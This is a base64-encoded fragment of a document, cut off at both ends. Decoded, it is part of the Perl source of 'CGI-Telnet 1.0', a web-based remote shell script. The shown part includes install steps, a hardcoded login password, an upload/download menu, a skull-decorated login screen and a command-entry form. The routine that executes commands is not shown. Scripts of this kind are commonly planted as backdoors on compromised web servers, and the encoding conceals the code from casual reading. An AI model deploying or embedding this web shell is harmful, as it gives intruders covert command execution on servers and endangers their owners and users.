tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVG8gaW5zdGFsbCB0aGlzIHNjcmlwdA0KIw0KIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbg0KIyAgICB5b3VyIHNlcnZlci4gRm9yIG1vc3Qgc2VydmVycywgeW91IG1heSBub3QgbmVlZCB0byBtb2RpZnkgdGhpcy4NCiMgMi4gQ2hhbmdlIHRoZSBwYXNzd29yZCBpbiB0aGUgQ29uZmlndXJhdGlvbiBzZWN0aW9uIGJlbG93Lg0KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQ0KIyAgICBDb25maWd1cmF0aW9uIFNlY3Rpb24gYmVsb3cuDQojIDQuIFVwbG9hZCB0aGUgc2NyaXB0IHRvIGEgZGlyZWN0b3J5IG9uIHlvdXIgc2VydmVyIHdoaWNoIGhhcyBwZXJtaXNzaW9ucyB0bw0KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZA0KIyAgICB0aGUgc2NyaXB0IGluIEFTQ0lJIG1vZGUuDQojIDUuIENoYW5nZSB0aGUgcGVybWlzc2lvbiAoQ0hNT0QpIG9mIHRoZSBzY3JpcHQgdG8gNzU1Lg0KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4NCiMgICAgY2dpLWJpbiwgdGhpcyBzaG91bGQgYmUgaHR0cDovL3d3dy55b3Vyc2VydmVyLmNvbS9jZ2ktYmluL2NnaXRlbG5ldC5wbA0KIyA3LiBMb2dpbiB1c2luZyB0aGUgcGFzc3dvcmQgdGhhdCB5b3Ugc3BlY2lmaWVkIGluIFN0ZXAgMi4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyDQojIHZhbHVlcyBzaG91bGQgd29yayBmaW5lIGZvciBtb3N0IHN5c3RlbXMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQokUGFzc3dvcmQgPSAiZGFtYW5lIjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQNCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0NCgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPkNHSS1UZWxuZXQgVmVyc2lvbiAxLjA8L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0iY2VudGVyIj4NCjxiPjxmb250IGNvbG9yPSIjMDAwMDgwIiBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgDQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8DQo8YSBocmVmPSJodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwiPkhlbHA8L2E+DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgY29sb3I9IiNDMEMwQzAiIHNpemU9IjMiPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoJJE1lc3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiM2Njk5OTkiPiBfX19fXyAgX19fX18gIF9fX19fICAgICAgICAgIF9fX19fICAgICAgICBfICAgICAgICAgICAgICAgXw0KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfA0KfCAvICBcL3wgfCAgXC8gIHwgfCAgIF9fX19fXyAgIHwgfCAgICBfX18gfCB8IF8gX18gICAgX19fIHwgfF8NCnwgfCAgICB8IHwgX18gICB8IHwgIHxfX19fX198ICB8IHwgICAvIF8gXHwgfHwgJ18gXCAgLyBfIFx8IF9ffA0KfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8NCiBcX19fXy8gXF9fX18vIFxfX18vICAgICAgICAgICBcXy8gICBcX19ffHxffHxffCB8X3wgXF9fX3wgXF9ffCAxLjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj6pIDIwMDEsIFJvaGl0YWIgQmF0cmE8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPg0KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4NCiAgICAgICAgICAgICAgICAgIC8gICAgICAgICAgICBcDQogICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgIHwNCiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfA0KICAgICAgICAgICAgICAgICB8ICkoX28vICBcb18pKCB8DQogICAgICAgICAgICAgICAgIHwvICAgICAvXCAgICAgXHwNCiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQ0KICBfICAgICApIFw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58SUlJSUlJfDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPi88L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fDQo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAoXyk8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPkA4QDg8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnt9PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj4mbHQ7X19fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwtXElJSUlJSS8tfDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX19fJmd0OzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+DQogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIA0KICAgICAgIChAICAgICAgICAgICBgLS0tLS0tLS1gDQogICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj5XIEEgUiBOIEkgTiBHOiBQcml2YXRlIFNlcnZlcjwvZm9udD48L3ByZT4NCiQ7DQojJw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQpUcnlpbmcgJFNlcnZlck5hbWUuLi48YnI+DQpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+DQpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dDQo8Y29kZT4kTWVzc2FnZQ0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxicj5sb2dpbjogYWRtaW48YnI+DQpwYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQpsb2dpbjogYWRtaW48YnI+DQpwYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYyI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCi